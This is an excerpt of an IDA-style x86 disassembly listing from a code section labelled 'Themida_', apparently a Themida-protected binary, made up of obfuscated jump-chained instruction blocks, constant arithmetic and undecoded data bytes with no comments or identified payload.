		dd 574E95Bh, 0E95A0001h, 12ECFh, 3273EB81h, 7DE9A770h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5103B3:				; CODE XREF: Themida_:005171B9j
		add	ebx, 4
		jmp	loc_51040D
; ---------------------------------------------------------------------------

loc_5103BE:				; CODE XREF: Themida_:0051673Fj
		mov	ecx, esp
		jmp	loc_50F732
; ---------------------------------------------------------------------------
		db 1, 2	dup(0E9h)
		dd 138BCh, 0D7E95752h
		db 24h,	1, 0
; ---------------------------------------------------------------------------

loc_5103D3:				; CODE XREF: Themida_:00512524j
		add	edi, ecx
		pop	ecx
		push	eax
		sub	esp, 4
		mov	[esp], esi
		push	edi
		push	1BA17B0Ch
		pop	edi
		jmp	loc_516DE6
; ---------------------------------------------------------------------------
aZSfi		db '‡<$\éfI',0
		align 2
aS_5		db ')ß[é·¹',0
		align 2
		dw 48Bh
		dd 4C48124h, 68000000h,	10FEh, 13815E9h
		db 0
; ---------------------------------------------------------------------------

loc_51040D:				; CODE XREF: Themida_:005103B9j
		sub	esp, 4
		jmp	loc_5225B7
; ---------------------------------------------------------------------------

loc_510418:				; CODE XREF: Themida_:0051FF64j
		mov	edx, 0ECE8E193h
		add	ebx, edx
		pop	edx
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		push	ebp
		push	esp
		jmp	loc_51F2DD
; ---------------------------------------------------------------------------

loc_51043E:				; CODE XREF: Themida_:00510C91j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_520F2C
; ---------------------------------------------------------------------------

loc_51044C:				; CODE XREF: Themida_:00519736j
		add	ecx, 1BCD471Bh
		xor	dword ptr [ecx], 2ABF005Dh
		jmp	loc_5151D4
; ---------------------------------------------------------------------------
		db 0BFh, 0B0h, 2Ch
		dd 0F9013832h, 24048B5Fh, 4C481h, 0C870000h, 24248B24h
		dd 6149BB53h, 0D829080Eh, 0FFF5EFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_510481:				; CODE XREF: Themida_:005166C9j
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_524B53
; ---------------------------------------------------------------------------
		db 30h
		dd 0DEDE9CEh, 0E9530001h, 16D5h, 8BD68959h, 89562414h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 4EC815Ch, 0E9000000h
		dd 0FFFFF830h, 8B241433h, 89662424h, 39E92404h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5104D3:				; CODE XREF: Themida_:005128C2j
		add	ebx, 502E7850h
		push	247Dh
		mov	[esp], esi
		mov	esi, ebx
		mov	edx, esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_50FAF4
; ---------------------------------------------------------------------------
		dw 0EF89h
		dd 0E95FF889h, 473Dh
; ---------------------------------------------------------------------------

loc_5104F8:				; CODE XREF: Themida_:0051D588j
		pop	esp
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	fs:[edx], ax
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		dd 6CE9F520h, 5000024h,	7B020F9Eh, 0BD4C482Dh, 577DE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51051E:				; CODE XREF: Themida_:0050F815j
		pop	edi
		push	esi
		mov	esi, 5D8B53D0h
		not	esi
		xor	esi, 46B0253Eh
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_522E26
		push	dword ptr [edi+1Ch]
		jmp	loc_51DB3A
; ---------------------------------------------------------------------------
		db 66h
		dd 81240C8Bh, 4ECh, 24148900h, 71E0E9h,	4C48100h, 50000000h
		dd 2434FF54h, 11035E9h,	207F8300h, 1A840F00h, 68FFFFF8h
		dd 0E3Ah, 391FE9h, 4C48300h, 0FF7EE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51058A:				; CODE XREF: Themida_:0050FB26j
		add	esp, 4
		neg	ebx
		jmp	loc_512EB0
; ---------------------------------------------------------------------------

loc_510594:				; CODE XREF: Themida_:005141FBj
		neg	eax
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5155F3
; ---------------------------------------------------------------------------
		dd 405E089h, 83000000h,	48704C0h, 3C71E924h, 4330001h
		dd 24043124h, 3A8EE9h, 4BE00h, 0F5010000h, 242C875Eh, 2D0CE9h
		dd 7EFC000h, 0E1E0E9h
		db 0
; ---------------------------------------------------------------------------

loc_5105D9:				; CODE XREF: Themida_:0051D5B2j
		push	ecx
		mov	ecx, 0D5B1187h
		jmp	loc_518C9C
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4C4h, 0F11AE900h,	0C381FFFFh, 0BB053FCh
		dd 3293C381h, 0DFE9EA4Fh
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_510603:				; CODE XREF: Themida_:00518D17j
		not	ecx
		push	esi
		jmp	loc_510DFC
; ---------------------------------------------------------------------------
		db 66h
		dd 5724048Bh, 243C8B54h, 8040E9h
		db 0
; ---------------------------------------------------------------------------

loc_510619:				; CODE XREF: Themida_:00516508j
		mov	eax, 774830CBh
		jmp	loc_50F769
; ---------------------------------------------------------------------------
		db 0B2h
		dd 0E9F1B349h, 1489Eh, 6A7EEB81h, 525A65F5h, 2BAh, 5AD30100h
		dd 5C241C87h, 71FF6853h, 0C890000h, 0D4885024h,	7DE9E588h
		db 1Dh,	1, 0
; ---------------------------------------------------------------------------

loc_510653:				; CODE XREF: Themida_:00518130j
		mov	esp, [esp]
		jmp	loc_518201
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0E904C483h, 0B7FDh, 84DCE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51066A:				; CODE XREF: Themida_:005148A0j
		mov	[esp], ecx
		push	ebx
		push	19E939CBh
		jmp	loc_514593
; ---------------------------------------------------------------------------
		dd 0E9028F66h, 0FFFFF08Ch
; ---------------------------------------------------------------------------

loc_510680:				; CODE XREF: Themida_:0051DE7Dj
		mov	esp, [esp]
		push	4990h
		mov	[esp], ebp
		push	ebx
		push	ecx
		mov	ecx, 7C17106Eh
		jmp	loc_521979
; ---------------------------------------------------------------------------
aXsf		db 'XéF\',0
		dd 41E46800h, 2C890000h, 5856BD24h, 0D5F77537h,	1445E945h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5106B2:				; CODE XREF: Themida_:0051E535j
		mov	edi, esp
		jmp	loc_51987E
; ---------------------------------------------------------------------------

loc_5106B9:				; CODE XREF: Themida_:00514871j
		mov	[esp], ebp
		push	ecx
		push	378A4769h
		jmp	loc_512603
; ---------------------------------------------------------------------------

loc_5106C7:				; CODE XREF: Themida_:00522179j
		shr	ecx, 0
		or	eax, eax
		jz	loc_522070
		push	ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_51E529
; ---------------------------------------------------------------------------
aSsS		db 'Sé˜',0
		db 0
; ---------------------------------------------------------------------------

loc_5106F3:				; CODE XREF: Themida_:0051EDD7j
		push	637Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_51DA34
; ---------------------------------------------------------------------------
		db 89h
		dd 5CBD242Ch, 6818C30Ch, 7A73h,	0E9240C89h, 6040h
; ---------------------------------------------------------------------------

loc_510730:				; CODE XREF: Themida_:00524027j
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_52058E
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 1213EE9h, 8B665C00h,	97682404h, 89000008h, 0E189240Ch
		dd 0F0E1E9h, 2434FF00h,	4C4835Eh, 2C781h, 3C330000h, 39C2E924h
		dd 34FF0001h, 2434FF24h, 4A166859h, 34890000h, 1FD5E924h
		dd 89520000h, 4C281E2h,	0E9000000h, 101Bh, 48BC201h, 675E924h
		dd 34FF0001h, 2434FF24h, 0E6895658h, 4C681h, 0C6830000h
		dd 50D6E904h, 0F3B90000h, 895323AFh, 240C8BCEh,	0E904C483h
		dd 13965h, 0B9C1815Dh, 0E9B11BFAh, 13BBEh
; ---------------------------------------------------------------------------

loc_5107CC:				; CODE XREF: Themida_:0050FF1Aj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_51AFA9
; ---------------------------------------------------------------------------

loc_5107DA:				; CODE XREF: Themida_:0051BB33j
		mov	[esp], ecx
		push	3AAC66CBh
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		push	0C553A935h
		pop	ebp
		add	ecx, ebp
		pop	ebp
		mov	edx, ecx
		jmp	loc_51144C
; ---------------------------------------------------------------------------

loc_5107F9:				; CODE XREF: Themida_:0051276Bj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	edi, 1764795Bh
		add	edi, ecx
		add	edi, 1764795Bh
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		push	edi
		mov	edi, 0F8333E8h
		add	edi, 4EB97662h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 73BB1E3Eh
		and	edi, ebp
		pop	ebp
		sub	edi, 39FE03DFh
		mov	edx, edi
		pop	edi
		sub	edx, 0FFFFFFFFh
		shr	edx, 3
		xchg	ecx, edx
		not	ecx
		inc	ecx
		xchg	ecx, edx
		jmp	loc_518CE6
; ---------------------------------------------------------------------------
a341434S_v	db '34$14$34$é.V',0
		align 2

loc_51085E:				; CODE XREF: Themida_:0051BDA1j
		mov	edi, 0C695FB46h
		xor	ecx, edi
		pop	edi
		mov	ebx, ecx
		jmp	loc_51A90F
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 81h
		dd 4ECh, 242C8900h, 7EF8FFBDh, 5DEE31FBh, 242C8156h, 13D16FA6h
		dd 0A6C3815Bh, 8B13D16Fh, 87E92434h, 660000C7h,	0B3241C89h
		dd 6782E9E2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5108A2:				; CODE XREF: Themida_:00510CA5j
		pop	esp
		jmp	loc_512005
; ---------------------------------------------------------------------------
		dd 5AD7295Eh, 0C781DF01h, 77FB61F7h, 0B92EE95Bh, 895C0000h
		dd 6851242Ch, 2, 1D3FE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5108CA:				; CODE XREF: Themida_:00523156j
		mov	ebp, 401773ECh
		add	ebp, 0BFE88C15h
		mov	edi, ebp
		pop	ebp
		push	esi
		mov	esi, 4E751798h
		add	[esp+8], esi
		pop	esi
		add	[esp+4], edi
		push	eax
		push	ebp
		mov	ebp, 40A845A9h
		xor	ebp, 1D866921h
		not	ebp
		jmp	loc_51D8F6
; ---------------------------------------------------------------------------
		db 53h
		dd 0DFF6ACB7h, 75B8E9h
		db 0
; ---------------------------------------------------------------------------

loc_510905:				; CODE XREF: Themida_:0051657Aj
		mov	dl, bl
		jmp	loc_51FB9A
; ---------------------------------------------------------------------------
		dd 6824048Bh, 0F42h, 0E9240C89h, 12224h, 240C8B66h, 0B58E953h
		dd 0D0010001h, 0EEB4E9h, 87D3F700h, 4BBEE9DEh, 0C4830000h
		dd 986DE904h, 0ED810000h, 50C039DCh, 5C42BE56h,	0F6811BB3h
		dd 2650470Fh, 9896E9h, 1DABE00h, 74315C9Eh, 34FF0424h
		dd 0C4835E24h, 0DF17E904h, 0BE560000h, 119A7DD2h, 6CB3E94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_510976:				; CODE XREF: Themida_:00512CD0j
		push	esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_513772
; ---------------------------------------------------------------------------
aXQ		db 'Áå',7,'Q¹',0
		dw 0E796h
		dd 8BCD3178h, 2FE9240Ch
		db 0Eh,	1, 0
; ---------------------------------------------------------------------------

loc_510997:				; CODE XREF: Themida_:00512669j
		pop	edx
		jmp	loc_522BF8
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 53000000h, 4BA52h, 0D3890000h, 5FACE9h, 0E9E18800h
		dd 4651h
; ---------------------------------------------------------------------------

loc_5109B8:				; CODE XREF: Themida_:0051BC1Aj
		add	ebx, 2ADE06C6h
		pop	ecx
		xor	edx, eax
		jmp	loc_51EB02
; ---------------------------------------------------------------------------
		dw 1C2Ch
		dd 0BA340424h, 8058C688h, 0BE96CC6h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5109D7:				; CODE XREF: Themida_:0051E0E8j
		pop	esp
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_5193E6
; ---------------------------------------------------------------------------

loc_5109E8:				; CODE XREF: Themida_:005238FAj
		neg	ebx
		add	ebx, 9B2D4C51h
		mov	eax, ebx
		pop	ebx
		add	ecx, eax
		jmp	loc_518BDE
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 132ABh, 8324048Bh, 2C3304C4h, 242C3124h, 112F7E9h, 0F2805800h
		dd 84A8E99Dh, 0E7810000h, 3B902A9Fh, 0AAEC781h,	0FA01459Ch
		dd 81243C8Bh, 4C4h, 0C33E900h, 0F2810001h, 6D634B48h, 3B6EBD55h
		dd 31E91109h
		db 38h,	1, 0
; ---------------------------------------------------------------------------

loc_510A47:				; CODE XREF: Themida_:0051F747j
		mov	edx, 4
		sub	edi, 0AAC470Ah
		jmp	loc_5130C7
; ---------------------------------------------------------------------------

loc_510A57:				; CODE XREF: Themida_:00515271j
		push	eax
		jmp	loc_524325
; ---------------------------------------------------------------------------

loc_510A5D:				; CODE XREF: Themida_:005167C4j
		add	ebx, esi
		pop	esi
		xor	ebx, 78366CCFh
		sub	esp, 4
		mov	[esp], ebx
		xor	dword ptr [esp], 5602602Eh
		pop	ecx
		jmp	loc_51E5DA
; ---------------------------------------------------------------------------

loc_510A7C:				; CODE XREF: Themida_:0051C023j
		mov	esp, [esp]
		jmp	loc_522E2D
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 7CE1h, 3898ED81h, 0EDC11B3Ah, 0D5F74D06h
		dd 453D68h, 241C8900h, 3C5B6857h, 0F75F763Eh, 0DFF74FD7h
		dd 3644C781h, 0EBE9E0F6h, 0F70000DCh, 13C135D0h, 0DF35059Eh
		dd 0E94C099Eh, 13B2Bh, 25A2C381h, 0EB8126EDh, 44C0E25h
		dd 0C381CB01h, 44C0E25h, 340D6856h, 1C890000h, 14196824h
		dd 7E906ABh, 56000053h,	831C86BEh, 82F6814Ch, 0E94C831Ch
		dd 0C2D6h, 505BDF89h, 2051E957h, 0E95C0000h, 423h, 0F596E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_510B16:				; CODE XREF: Themida_:00513870j
		mov	ecx, 64C37E8Bh
		or	ecx, 239030E6h
		sub	ecx, 5B7B052Bh
		or	ebx, ecx
		pop	ecx
		shr	ebx, 2
		jmp	loc_51FF63
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 492h
; ---------------------------------------------------------------------------

loc_510B38:				; CODE XREF: Themida_:00518140j
		mov	bl, [esp]
		push	eax
		jmp	loc_51409A
; ---------------------------------------------------------------------------
		db 83h,	0C7h, 4
		dd 0B82EE9h
		db 0
; ---------------------------------------------------------------------------

loc_510B49:				; CODE XREF: Themida_:0051124Ej
		push	165Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_521E0F
; ---------------------------------------------------------------------------
		db 53h,	0B3h, 2Bh
		dd 885BDA88h, 6DE95AD3h, 0C000013Fh, 516606E4h,	2359E9h
		db 0
; ---------------------------------------------------------------------------

loc_510B75:				; CODE XREF: Themida_:0051B278j
		pop	ebx
		dec	ecx
		shl	ecx, 6
		jmp	loc_515324
; ---------------------------------------------------------------------------

loc_510B7F:				; CODE XREF: Themida_:005176F1j
		add	ebx, 0BA185BBAh
		jmp	loc_51002A
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 72C3B17Fh, 0D6EEE9h
		db 0
; ---------------------------------------------------------------------------

loc_510B95:				; CODE XREF: Themida_:00519E03j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_515343
; ---------------------------------------------------------------------------
aYhj2		db 'YhJ2',0
		dd 24048900h, 0FFEB53E9h, 0C8758FFh, 0EE40E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_510BC2:				; CODE XREF: Themida_:00513BCAj
		pop	edx
		xor	ebp, eax
		pop	eax
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		sub	esp, 4
		jmp	loc_51A398
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 110E4E9h, 44015800h,	34FF0424h, 24048B24h, 8904EC83h
		dd 0CE92414h, 5200010Fh, 42A9E950h, 0E2890001h,	4C281h
		dd 0E9570000h, 0FFFFF715h
; ---------------------------------------------------------------------------

loc_510C14:				; CODE XREF: Themida_:0052097Fj
		add	esp, 4
		add	edx, 48723C9h
		or	edx, 5183056Dh
		add	edx, 0FFFFFFFFh
		and	edx, 2C8B4B8Dh
		sub	edx, 2083090Ch
		and	ecx, edx
		push	dword ptr [esp]
		pop	edx
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_520B66
; ---------------------------------------------------------------------------

loc_510C43:				; CODE XREF: Themida_:005100F2j
		mov	bh, dl
		jmp	loc_51CC7F
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 6CF0h, 0A17EF81h, 0FD891C61h, 112A3E9h
		db 0
; ---------------------------------------------------------------------------

loc_510C5D:				; CODE XREF: Themida_:00518ADEj
		push	ebx
		push	ecx
		jmp	loc_514200
; ---------------------------------------------------------------------------
		dd 0EC83F588h, 241C8904h, 7B8E9h, 0B7C38100h, 8B122D56h
		dd 0CBE92414h
		db 0B8h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_510C7F:				; CODE XREF: Themida_:00518F9Ej
		pop	esp
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		jmp	loc_51043E
; ---------------------------------------------------------------------------

loc_510C96:				; CODE XREF: Themida_:0052430Fj
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5108A2
; ---------------------------------------------------------------------------
		dw 0C083h
		dd 324BE904h, 0F8680001h, 0E900004Ch, 0B544h, 5A74C380h
		dd 0C380CB28h, 0C8B59F3h, 1DE95524h, 590000D0h,	11959E9h
		dd 24048100h, 438D7C3Ah, 81240C8Bh, 4C4h, 3AE98100h, 5E438D7Ch
		dd 0CEE9CF29h, 0CDh, 240C8BCCh,	3FB7E9h, 24248B00h, 4EC81h
		dd 60E90000h, 0BE0000D8h, 2, 685EF301h,	2C5Ch, 0E9241C89h
		dd 23CAh, 95E3B850h, 6EE9C537h,	10000B8h, 5FF8E9C8h
		db 2 dup(0), 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_518673
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5604C483h, 2C0281BEh, 4BCE815Dh, 0F7250917h,	0F68146DEh
		dd 8398D1C3h, 1BE9F231h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_510D5B:				; CODE XREF: Themida_:0051FC9Aj
		push	esi
		mov	esi, esp
		jmp	loc_517B3F
; ---------------------------------------------------------------------------
		db 0BAh
		dd 73296A00h, 148BD601h, 4C48124h, 31000000h, 0F2815EF2h
		dd 0FE3BD4A7h, 895AD501h, 242C8BEFh, 4C481h, 0F8290000h
		dd 8D87E9h, 0EC815000h,	4, 1F94E9h, 242C8700h, 0E966E95Ch
		dd 1C87FFFFh, 14F75324h, 2C21E924h, 48F0000h, 24248B24h
		dd 52C8B60Fh, 15E9E289h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_510DC3:				; CODE XREF: Themida_:005155B8j
		xor	ecx, ebp
		pop	ebp
		add	ebp, ecx
		jmp	loc_5178A1
; ---------------------------------------------------------------------------
		db 83h,	0C0h, 4
		dd 2474FF50h, 48F5804h,	0CC85E924h, 815E0000h, 6C4966EFh
		dd 81F7011Dh, 6C4966C7h, 3C335E1Dh, 243C3124h, 0E9243C33h
		dd 0AC54h
; ---------------------------------------------------------------------------

loc_510DFC:				; CODE XREF: Themida_:00510606j
		mov	esi, 3E1A237Eh
		add	ecx, esi
		pop	esi
		or	ecx, 71FF6A53h
		add	ecx, 4B2EF93Fh
		add	edx, 6F5B6B0Ah
		sub	edx, 1E7951C4h
		sub	edx, ecx
		add	edx, 1E7951C4h
		sub	edx, 6F5B6B0Ah
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_50F805
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0CFh
		dd 81CE7389h, 1D738EEDh, 81D52974h, 1D738EC5h, 68EFE974h
		dd 3C870000h, 0BB535C24h, 23663DDAh, 5890BD55h,	0EDC11672h
		dd 81E5D108h, 4356E0C5h, 37F58101h, 0E949A346h,	12878h
		dd 664AC480h, 30A4B753h, 1C8B66FCh, 2C48124h, 0FE000000h
		dd 0E76CE9CCh, 0E9530000h, 1352h, 0BE243489h, 3CCA7811h
		dd 1986E9h, 4B95100h, 81000000h, 0CB04246Ch, 1331334h
		dd 0E904244Ch, 5373h, 211CF781h, 0C7814E9Dh, 0B147D3C6h
		dd 295FF889h, 18CAE9C6h
		db 1, 0
; ---------------------------------------------------------------------------

loc_510EE2:				; CODE XREF: Themida_:00520B9Fj
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5230F8
; ---------------------------------------------------------------------------
		db 83h,	0C0h, 4
		dd 5C240487h, 53B5E9h, 0E784B900h, 0CA31EFEEh, 0CDEB8159h
		dd 1724672h, 4EC83D3h, 0A24EE9h, 31D66800h, 4890000h, 0AF7E924h
		dd 0E6250000h, 526F514h, 75FC6B6Ch, 0DA0FB951h,	0D4E96541h
		dd 8400001Fh, 0D1E99CC8h, 0FFFFFFE7h, 0E9582434h, 0ACh
; ---------------------------------------------------------------------------

loc_510F44:				; CODE XREF: Themida_:0052047Cj
		pop	edi
		add	eax, 72984D78h
		push	ecx
		mov	ecx, 0B28C08B0h
		xor	eax, ecx
		pop	ecx
		sub	edx, eax
		push	dword ptr [esp]
		jmp	loc_5201FE
; ---------------------------------------------------------------------------

loc_510F5D:				; CODE XREF: Themida_:0051593Aj
		add	ebp, 4
		jmp	loc_51383F
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		add	ebp, 4
		push	5518h
		jmp	loc_51D77A
; ---------------------------------------------------------------------------

loc_510F87:				; CODE XREF: Themida_:0051382Fj
		add	ebp, 75963F4Bh
		jmp	loc_51AA07
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0B0E90000h, 8B000041h, 0C0E9242Ch, 0B700007Fh
		dd 0E9DFF6A2h, 0FFFFF621h, 0FDE9F800h, 8100012Ah, 715F04EBh
		dd 348B5A00h, 4C48324h,	1C13E955h, 0BA520000h, 4201BADh
		dd 5F42EA81h, 0EA81096Eh, 0FAB1BC67h, 0ACE9D301h
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_510FE3:				; CODE XREF: Themida_:0052502Cj
		neg	ecx
		push	ebx
		mov	ebx, 0F704275h
		jmp	loc_515BE1
; ---------------------------------------------------------------------------
		dd 7CD568h, 243C8900h, 0C781E789h, 4, 53D4B951h, 0C9811BD9h
		dd 45AF4F9Ah, 0C3AEE9h
		db 0
; ---------------------------------------------------------------------------

loc_511011:				; CODE XREF: Themida_:00523487j
		xchg	ebx, [esp]
		pop	esp
		sub	[edi+24h], esi
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp

loc_511034:				; CODE XREF: Themida_:00524AB0j
		push	30Eh
		mov	[esp], ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_523930
; ---------------------------------------------------------------------------
		dd 0E7895759h, 4C781h, 0C7830000h, 243C8704h, 0E144E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51106A:				; CODE XREF: Themida_:0051E742j
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	dword ptr [edi+24h]
		jmp	loc_518A47
; ---------------------------------------------------------------------------

loc_51107B:				; CODE XREF: Themida_:00520948j
		pop	ebp
		xor	ecx, [esp]
		jmp	loc_514652
; ---------------------------------------------------------------------------
aXst		db 'XéT>',0
		align 2
		dw 0EC81h
		dd 2, 241C8966h, 0DA0085B3h, 1C8B5B66h,	4C48324h, 8933E9h
		dd 2474FF00h, 2434FF04h, 7158E9h, 5379B900h, 0EBE97E3Fh
		dd 810000B4h, 3C74AC7h,	9FC68143h, 14FFF7Eh, 9FBD55FEh
		dd 0E94FFF7Eh, 118EDh, 0E2C1DAF7h, 7CEA8102h, 0E96DF381h
		dd 12D47h, 0F04C483h, 48DC0B6h,	0AC46887h, 34890000h, 0E95E5424h
		dd 0E580h, 77414A2Dh, 3AE95969h, 810000F4h, 0A54F75C5h
		dd 0F552E98Eh, 489FFFFh, 5585424h, 4, 8704C083h, 575C2404h
		dd 0F7DAE954h, 0B4500000h, 0FD56E9B3h, 815EFFFFh, 406190C7h
		dd 5FFA2904h, 0F281D2F7h, 0D28CFD5Bh, 0F5AD701h, 34FFC0B6h
		dd 53575687h, 897DD068h, 0EBC15B53h, 0A6E38107h, 8154D21Bh
		dd 0EA9A9EBh, 5BDF898Dh, 535FFE89h, 0FFFFFFBBh,	5BDE01FFh
		dd 3C54E681h, 0EC830B50h, 242C8904h, 502454BDh,	0D5BA5203h
		dd 0C13D3B23h, 0EAC106E2h, 177BE904h, 0C890000h, 6C2FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51119E:				; CODE XREF: Themida_:00513A3Aj
		add	esp, 4
		jmp	loc_520A18
; ---------------------------------------------------------------------------

loc_5111A6:				; CODE XREF: Themida_:00522009j
		not	ecx
		xor	ecx, 29BA0F3Fh
		inc	ecx
		jmp	loc_51CC00
; ---------------------------------------------------------------------------

loc_5111B4:				; CODE XREF: Themida_:00520624j
		push	1C685874h
		pop	ecx
		dec	ecx
		jmp	loc_51B920
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7830000h, 0EF11E904h, 8B660000h, 0C368240Ch
		dd 0E9000030h, 10CD5h, 815DEF21h, 9F5271F7h, 0B091E939h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5111EA:				; CODE XREF: Themida_:0051E045j
		push	ecx
		jmp	loc_517970
; ---------------------------------------------------------------------------
		dd 243C8B54h, 8104C483h, 4C7h, 1ADF6800h, 74E90000h, 8800011Ch
		dd 0FC3058C7h, 1099BE9h
		db 0
; ---------------------------------------------------------------------------

loc_511211:				; CODE XREF: Themida_:0051CEC0j
		not	ebx
		shl	ebx, 3
		push	edi
		mov	edi, 7985281h
		jmp	loc_51967D
; ---------------------------------------------------------------------------

loc_511221:				; CODE XREF: Themida_:00511316j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_519819
; ---------------------------------------------------------------------------
		db 68h,	0Eh, 17h
		dd 0C890000h, 83F18824h, 3CE904ECh
		db 1Eh,	1, 0
; ---------------------------------------------------------------------------

loc_51124B:				; CODE XREF: Themida_:0050F95Dj
		mov	[esp], edi
		jmp	loc_510B49
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EC8102EEh, 4, 0B9240C89h, 1FDADDFEh, 959CE29h, 34FF1C77h
		dd 24348B24h, 0E904C483h, 64E1h, 83242C8Bh, 0C58104C4h
		dd 0B62B108Eh, 575DEF89h, 59E95F59h, 25000055h,	454741B4h
		dd 3418035h, 0E8C38101h, 1238B3Eh, 0E8EB81C3h, 8B238B3Eh
		dd 0C4832404h, 4FE6804h, 1C890000h, 0C6E2E924h,	0EED10000h
		dd 0E903EEC1h, 55FAh
; ---------------------------------------------------------------------------

loc_5112C4:				; CODE XREF: Themida_:0051E1EAj
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp

loc_5112DB:				; CODE XREF: Themida_:005205D5j
		sub	esp, 4
		mov	[esp], ebp
		push	0B20h
		mov	[esp], ebx
		push	esi
		push	eax
		mov	eax, 8035395h
		inc	eax
		shr	eax, 6
		xor	eax, 56851E1Eh
		not	eax
		add	eax, 966F28AEh
		mov	esi, eax
		pop	eax
		add	[esp+4], esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_511221
; ---------------------------------------------------------------------------
		db 0BEh
		dd 72AF4287h, 7AE6E681h, 0F6817714h, 72044282h,	555EF301h
		dd 51A8BA52h, 0EA81618Ah, 1C945E2Bh, 48AFBE56h,	0CAE90318h
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_511347:				; CODE XREF: Themida_:0051B150j
		add	edi, 338A7BC4h
		sub	edi, ebp
